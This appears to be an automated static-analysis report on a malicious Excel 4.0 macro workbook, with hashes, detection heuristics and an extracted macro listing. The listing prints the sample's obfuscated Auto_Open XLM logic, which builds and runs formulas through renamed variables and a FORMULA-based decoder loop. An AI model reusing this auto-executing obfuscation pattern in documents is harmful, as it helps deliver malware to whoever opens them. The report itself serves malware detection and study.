Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 80901fead301d73e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:23 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 0d04e85e4c69d1d43b80fff18e3f86c7 SHA-1: 9d4f327f9a79c90875344cbb3072044637aeb4ff SHA-256: 80901fead301d73ecc763257c269da2d7ad7223d9a3f2e41ce06d4115a4f9ad3
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6422 bytes
SHA-256: 03f2af46f319171fe2ab40a85d99a5a079ae6aaaf8baa82c6d93866753b5690d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  huv
' 0018     21 LABEL : Cell Value, String Constant - ABgWho len=0 
' 0018     26 LABEL : Cell Value, String Constant - AGJXQNcgZBh len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A143 
' 0018     27 LABEL : Cell Value, String Constant - AZaLHIPXHxYQ len=0 
' 0018     20 LABEL : Cell Value, String Constant - Bplaj len=0 
' 0018     22 LABEL : Cell Value, String Constant - BzxVMJj len=0 
' 0018     20 LABEL : Cell Value, String Constant - DjkxG len=0 
' 0018     20 LABEL : Cell Value, String Constant - gjLsx len=0 
' 0018     20 LABEL : Cell Value, String Constant - ilcUF len=0 
' 0018     27 LABEL : Cell Value, String Constant - IxhgQbweOucO len=0 
' 0018     26 LABEL : Cell Value, String Constant - MMMJrIthikd len=0 
' 0018     27 LABEL : Cell Value, String Constant - nobHEVCeehsx len=0 
' 0018     21 LABEL : Cell Value, String Constant - nscCAk len=0 
' 0018     20 LABEL : Cell Value, String Constant - oZCgG len=0 
' 0018     26 LABEL : Cell Value, String Constant - ptyOpUNyFZo len=0 
' 0018     26 LABEL : Cell Value, String Constant - QoWzXURjjAA len=0 
' 0018     25 LABEL : Cell Value, String Constant - RAHiaUhYdM len=0 
' 0018     21 LABEL : Cell Value, String Constant - SiWfJM len=0 
' 0018     25 LABEL : Cell Value, String Constant - TmYyRAlOhy len=0 
' 0018     25 LABEL : Cell Value, String Constant - VZnERwMzWL len=0 
' 0018     25 LABEL : Cell Value, String Constant - WwCmlqmSqK len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  huv,A60,"SET.NAME("gjLsx",VALUE("0"))",""
'  huv,A63,"SET.NAME("MMMJrIthikd",gjLsx)",""
'  huv,A67,"SET.NAME("RAHiaUhYdM",gjLsx)",""
'  huv,A69,"SET.NAME("SiWfJM",COUNTA(AGJXQNcgZBh))",""
'  huv,A74,"SET.NAME("IxhgQbweOucO",COUNTA(DjkxG))",""
'  huv,A77,[],""
'  huv,A82,"SET.NAME("Bplaj","")",""
'  huv,A85,"MMMJrIthikd",""
'  huv,A87,"SET.NAME("VZnERwMzWL",HLOOKUP("*",AGJXQNcgZBh,MMMJrIthikd,FALSE))",""
'  huv,A89,"nscCAk",""
'  huv,A91,"SET.NAME("ilcUF",gjLsx)",""
'  huv,A95,[],""
'  huv,A98,"ilcUF",""
'  huv,A102,"ABgWho",""
'  huv,A105,"oZCgG",""
'  huv,A107,"QoWzXURjjAA",""
'  huv,A110,"SET.NAME("WwCmlqmSqK",VALUE(HLOOKUP("*",DjkxG,QoWzXURjjAA,FALSE)))",""
'  huv,A112,"BzxVMJj",""
'  huv,A117,"Bplaj",""
'  huv,A122,"RAHiaUhYdM",""
'  huv,A127,NEXT(),""
'  huv,A131,"AZaLHIPXHxYQ",""
'  huv,A133,"SET.NAME("f",INT(T(FORMULA(T(Bplaj)&"",""&T(AZaLHIPXHxYQ)))))",""
'  huv,A136,"nobHEVCeehsx",""
'  huv,A139,NEXT(),""
'  huv,A141,RETURN(),""
'  huv,A167,"SET.NAME("ptyOpUNyFZo",A60)",""
'  huv,A170,"AGJXQNcgZBh",""
'  huv,A175,"SET.NAME("DjkxG",R87C15)",""
'  huv,A180,"SET.NAME("nobHEVCeehsx",186)",""
'  huv,A183,"SET.NAME("TmYyRAlOhy",1)",""
'  huv,A185,ptyOpUNyFZo(),""
'  huv,A186,HALT(),""

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